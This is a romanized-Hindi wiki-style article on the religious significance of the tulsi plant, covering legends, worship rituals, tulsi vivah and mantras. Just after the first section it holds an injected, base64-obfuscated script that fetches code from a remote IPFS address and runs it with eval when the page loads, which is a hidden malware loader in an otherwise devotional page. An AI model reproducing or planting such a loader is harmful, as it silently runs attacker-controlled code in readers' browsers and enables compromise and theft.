तुलसी का धार्मिक महत्त्व

[[chitr:Tulsi.jpg|thumb|tulasi]] tulasi ka paudha hamare lie dharmik evan adhyatmik mahatv ka paudha hai jis ghar mean isaka vas hota hai vaha adhyatmik unnati ke sath sukh-shaanti evan arthik samriddhata svatah a jati hai. vatavaran mean svachchhata evan shuddhata, pradooshan ka shaman, ghar parivar mean arogy ki j dean mazaboot karane, shraddha tatv ko jivit karane jaise anekoan labh isake haian. tulasi ke niyamit sevan se saubhagyashalita ke sath hi soch mean pavitrata, man mean ekagrata ati hai aur krodh par poorn niyantran ho jata hai. alasy door hokar sharir mean dinabhar phoorti bani rahati hai. tulasi ki sookshm v karan shakti advitiy hai. yah atmonnati ka path prashast karati hai tatha gunoan ki drishti se sanjivani booti hai. tulasi ko pratyaksh dev manane aur mandiroan evan gharoan mean use lagane, pooja karane ke pichhe sanbhavatah yahi karan hai ki yah sarv dosh nivarak aushadhi sarv sulabh tatha sarvopayogi hai. dharmik dharana hai ki tulasi ki sevapooja v aradhana se vyakti svasth evan sukhi rahata hai. anek bharatiy har rog mean tulasidal-grahan karate hue ise daiviy gunoan se yukt sau rogoan ki ek dava manate haian. gale mean tulasi-kashth ki mala pahanate haian.

1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

daiviy gun evan aushadhiyoan ki khan

• tulasi ko daivi gunoan se abhipoorit manate hue isake vishay mean adhyatm granthoan mean kafi kuchh likha gaya hai. tulasi aushadhiyoan ka khan haian. is karan tulasi ko atharvaved mean mahaaushadhi ki sanjna di gee haian. ise sanskrit mean haripriya kahate haian. is aushadhi ki utpatti se bhagavanh vishnu ka manah santap door hua isi karan yah nam ise diya gaya hai. aisa vishvas hai ki tulasi ki j d mean sabhi tirth, madhy mean sabhi devi-deviyaan aur oopari shakhaoan mean sabhi ved sthit haian. tulasi ka pratidin darshan karana papanashak samajha jata hai tatha poojan karana mokshadayak. devapooja aur shraddhakarm mean tulasi avashyak hai. tulasi patr se pooja karane se vrat, yajn, jap, hom, havan karane ka puny prapt hota hai. aisa kaha jata hai, jinake mrit sharir ka dahan tulasi ki lak di ki agni se kriya jata hai, ve moksh ko prapt hote haian, unaka punarjanm nahian hota. prani ke aant samay mean mrit shaiya par p de rogi ko tulasi dalayukt jal sevan karaye jane ke vidhan mean tulasi ki shuddhata hi mani jati hai aur us vyakti ko moksh prapt ho, aisa mana jata hai.
• devata ke roop mean pooje jane vale is paudhe ‘tulasi’ ki pooja kab kaise, kyoan aur kisake dvara shuroo ki gee isake koee vaijnanik praman to upalabdh nahian hai. parantu prachalit pauranik katha ke anusar dev aur danavoan dvara kie ge samudr manthan ke samay jo amrit dharati par chhalaka, usi se ‘‘tulasi’’ ki utpatti huee. brahmadev ne use bhagavan vishnu ko sauanpa. lanka mean vibhishan ke ghar tulasi ka paudha dekhakar hanuman ati harshit huye the. isaki mahima ke varnan mean kaha gaya hai, namayudh aankit grih shobha varin n jaee. nav tulasi ke vrind tahandekhi harashi kapiraee.
• padm puran mean likha hai ki jahaan tulasi ka ek bhi paudha hota hai. vahaan brahma, vishnu, shankar bhi nivas karate haian. age varnan ata hai ki tulasi ki seva karane se mahapatak bhi usi prakar nasht ho jate haian, jaise soory ke uday hone se aandhakar nasht ho jata hai. kahate haian ki jis prasad mean tulasi nahian hota use bhagavan svikar nahian karate. bhagavan vishnu, yogeshvar krishna aur paandurang (shri balaji) ke poojan ke samay tulasi patroan ka har unaki pratimaoan ko arpan kiya jata hai. tulasi - vrinda shrikrishna bhagavan ki priya mani jati hai aur isaki bhog lagakar bhagavat premijan isaka prasad roop mean grahan karate haian. svarn, ratn, moti se bane pushp yadi shrikrishna ko chadhae jaean to bhi tulasi patr ke bina ve adhoore haian. shrikrishna athava vishnuji tulasi patr se prokshan kie bina naivedy svikar nahian karate.
• is paudhe ki pooja vishesh kar striyaan karati haian. sad grihasth mahilaean saubhagy, vansh samriddhi hetu tulasi- paudhe ko jal sianchan, roli akshat se poojakar dip jalati huee archana-prarthana mean kahati hai. saubhagy santati dehi, dhan dhanyan v sada. vaise varsh bhar tulasi ke thaanvale ka poojan hota hai, parantu vishesh roop se kartik mas mean ise poojate haian. kartik mas mean vishnu bhagavan ka tulasidal se poojan karane ka mahatmy avarnaniy hai.

tulasi se ju di kathaean

(1)

dharmadhvaj ki patni ka nam madhavi tatha putri ka nam tulasi tha. vah ativ sundari thi. janm lete hi vah narivat hokar badarinath mean tapasya karane lagi. brahma ne darshan dekar use var maangane ke lie kaha. usane brahma ko bataya ki vah poorvajanm mean shrikrishna ki sakhi thi. radha ne use krishna ke sath ratikarm mean magn dekhakar mrityrilok jane ka shap diya tha. krishna ki prerana se hi usane brahma ki tapasya ki thi, at: brahma se usane pun: shrikrishna ko patiroop mean prapt karane ka var maanga. brahma ne kaha -- tum bhi jatismara ho tatha sudama bhi abhi jatismar hua hai, usako pati ke roop mean grahan karo. narayan ke shap aansh se tum vriksh roop grahan karake vriandavan mean tulasi athava vriandavani ke nam se vikhyat hogi. tumhare bina shrikrishna ki koee bhi pooja nahian ho payegi. radha ko bhi tum priy ho jaogi. brahma ne use shodashakshar radha mantr diya.

(2)

mahayogi shankhachoo d namak rakshas ne maharshi jaivishavy se krishnamantr pakar badarinath mean pravesh kiya. anupam sauandaryavati tulasi se milane par usane bataya ki vah brahma ki ajna se usase vivah karane ke nimitt vahaan pahuancha tha. tulasi ne usase vivah kar liya. ve log danavoan ke adhipati ke roop mean nivas karane lage. jab shankhachoorn ka upadrav bahut badh gaya to ek din hari ne apana shool dekar shiv se kaha ki ve shankhachoo d ko mar dalean. shiv ne us par akraman kiya. sabane vichara ki jab tak usaki patni pativrata hai tatha usake pas narayan ka diya hua kavach hai, use marana asambhav hai. at: narayan ne boodhe brahman ke roop mean jakar usase kavach ki bhiksha maangi. shankhachoo d ka kavach pahanakar svayan usaka sa roop banakar ve usake ghar ke sammukh duandubhi bajakar apani devataoan par vijay ki ghoshana kiya. prasannata ke aveg mean tulasi ne unake sath samagam kiya. tadanantar vishnu ko pahachanakar pativrat dharm nasht karane ke karan usane shap diya- "tum patthar ho jao. tumane devataoan ko prasann karane ke lie apane bhakt ke hanan ke nimitt usaki patni se chhal kiya hai." shiv ne prakat hokar usake krodh ka shaman kiya aur kaha- "tumhara yah sharir gandak namak nadi tatha kesh tulasi namak pavitr vriksh hokar vishnu ke aansh se bane samudr ke sath bihar karega. tumhare shap se vishnu gandaki nadi ke kinare patthar ke hoange aur tum tulasi ke roop mean un par chadhaee jaogi. shankhachoo d poorvajanm mean sudama tha, tum use bhoolakar tatha is sharir ko tyagakar ab tum lakshmivat vishnu ke sath vihar karo. shankhachoo d ki patni hone ke karan nadi ke roop mean tumhean sadaiv shankh ka sath milega. tulasi samast lokoan mean pavitratam vriksh ke roop mean rahogi." shiv aantardhan ho gaye aur vah sharir ka parityag karake baikuanth chali gee. kahate haian, tabhi se vishnu ke shaligram roop ki tulasi ki pattiyoan se pooja hone lagi.

(3)

shrikrishna ne kartik ki poornima ko tulasi ka poojan karake golok mean rama ke sath vihar kiya, at: vahi tulasi ka janmadin mana jata hai. prarambh mean lakshmi tatha ganga ne to use svikar kar liya tha, kintu sarasvati bahut kruddh huee. tulasi vahaan se aantardhan hokar vriandavan mean chali gee. isalie unhean vrinda bhi kaha gaya hai. jahaan tulasi bahutayat se ugati hai vah sthan vrindavan kaha jata hai. isi vrinda ke nam par shrikrishna ki lilabhoomi ka nam vrindavan p da. narayan pun: use dhooandhakar laye tatha sarasvati se usaki mitrata karava di. sabake lie anandayini hone ke karan vah nandini bhi kahalati hai.

tulasi pooja

[[chitr:Tulsi-Puja.jpg|thumb|250px|tulasi ki pooja karati mahila]] tulasi pooja ka din vishnu puran ke anusar kartik navami / kartik sudi ekadashi ko tulasi vivah ke roop mean ullekh kiya hai kiantu any dharm granthoan mean prabodhini ekadashi ko shubh evan phaladayi bataya gaya haian isi din godhooli bela mean bhagavan saligram, tulasi v shankh ka poojan karane se vishesh puny ki prapti hoti hai. log is din tulasi evan bhagavan saligram ka vivah kar pooja archana karate hai. yah din atyant shubh mana jata hai aur manyata hai ki is din yogeshvar bhagavan vishnu apani yoganidra se jagate hai aur usake bad sare shubh kary karane shuroo kiye jate hai. tulasi vivah se kanyadan ke barabar puny milata hai sath hi ghar mean shri, sanpada, vaibhav-mangal virajate haian.

• tulasi ki aradhana karate hue granth likhate haian-

mahaprasad janani sarv saubhagy vardhini.
adhivyadhi harirnityan tulesitv namostute॥ he tulasi! ap sampoorn saubhagyoan ko badhane vali haian, sada adhi-vyadhi ko mitati haian, apako namaskar hai. akal mrityu haran sarv vyadhi vinashanamh॥ tulasi ko akal mrityu haran karane vali aur sampoorn rogoan ko door karane vali mana gaya hai.

ropanath palananh sekanh darshanatsparshanannrinamh.
tulasi dahyate pap vadhumatah kay sanchitamh॥

• tulasi ko lagane se, palane se, sianchane se, darshan karane se, sparsh karane se, manushyoan ke man, vachan aur kaya se sanchit pap jal jate haian. vayu puran mean tulasi patr to dane ki kuchh niyam maryadaean batate hue likha hai - asnatva tulasian chhitva yah pooja kurute narah . soaparadhi bhaveth satyan tath sarvanishphalan bhaveth॥ arthath - bina snan kie tulasi ko to dakar jo manushy pooja karata hai, vah aparadhi hai. usaki ki huee pooja nishphal jati hai, isamean koee sanshay nahian.
• tulasi ki pooja se ghar mean sukh-samriddhi aur dhan ki koee kami nahian hoti. isake pichhe dharmik karan hai. tulasi mean hamare sabhi papoan ka nash karane ki shakti hoti hai. tulasi ko lakshmi ka hi svaroop mana gaya hai. vidhi-vidhan se isaki pooja karane se mahalakshmi prasann hoti haian aur inaki kripa svaroop hamare ghar par kabhi dhan ki kami nahian hoti. kartik mas ke shuklapaksh ki ekadashi ko tulasi vivah ka utsav manaya jata hai. is ekadashi par tulasi vivah ka vidhivat poojan karane se bhaktoan ki sabhi manokamanaean poorn hoti haian.

tulasi poojan ki samany samagri

tulasi pooja ke lie ganna (eekh), vivah mandap ki samagri, suhagan stri ki sanpoorn samagri, ghi, dipak, dhoop, sindoor , chandan, naivady aur pushp adi.

tulasi poojan ka shreshth muhoort

sham 7.50 se 9.20 tak shubh chaughadiy़aan mean tulasi poojan karean.

tulasi vivah ki poojan vidhi

1. tulasi vivah ke lie tulasi ke paudhe ka gamale ko geru adi se sajaean.
2. gamale ke charoan or eekh (ganne) ka mandap banaean.
3. ab gamale ke oopar odhऩi ya suhag ki pratik chunari odhaean.
4. gamale ko sa di mean lapetakar tulasi ko choo di pahanakar unaka shrriangar karean.
5. shri ganesh sahit sabhi devi-devataoan ka tatha shri shaligramaji ka vidhivat poojan karean.
6. poojan ke karate samay tulasi mantr (tulasyai nam:) ka jap karean.
7. isake bad ek nariyal dakshina ke sath tika ke roop mean rakhean.
8. bhagavan shaligram ki moorti ka sianhasan hath mean lekar tulasiji ki sat parikrama karaean.
9. arati ke pashchath vivahotsav poorn kiya jata hai.

• vivah mean jo sabhi riti-rivaj hote haian usi tarah tulasi vivah ke sabhi kary kie jate haian. vivah se sanbandhit mangal git bhi gae jate haian.

tulasinamashtak ka jap karean

ashvamedh yajn se prapt puny kee janmoan tak phal dene vala hota hai. yahi puny tulasi namashtak ke niyamit path se milata hai. tulasi namashtak ka path poore vidhi-vidhan se kiya jana chahie.

• tulasi namashtak :--

vrinda vrindavani vishvapoojita vishvapavani. pushpasara nandanich tulasi krishna jivani..
etabhamaanshtak chaiv srotan namarthan sanyutam. y: pathet taan ch sampoojh sauashramegh phalanlameta..

tulasi vivah

1. REDIRECTsaancha:mukhy

devotthan ekadashi ke din manaya jane vala tulasi vivah vishuddh maangalik aur adhyatmik prasang hai. devata jab jagate haian, to sabase pahali prarthana harivallabha tulasi ki hi sunate haian. isilie tulasi vivah ko dev jagaran ke pavitr muhoort ke svagat ka ayojan mana jata hai. tulasi vivah ka sidha arth hai, tulasi ke madhyam se bhagavan ka ahavan. kartik, shukl paksh, ekadashi ko tulasi poojan ka utsav manaya jata hai. vaise to tulasi vivah ke lie kartik, shukl paksh, navami ki tithi thik hai, parantu kuchh log ekadashi se poornima tak tulasi poojan kar paanchavean din tulasi vivah karate haian. ayojan bilkul vaisa hi hota hai, jaise hindoo riti-rivaj se samany var-vadhu ka vivah kiya jata hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh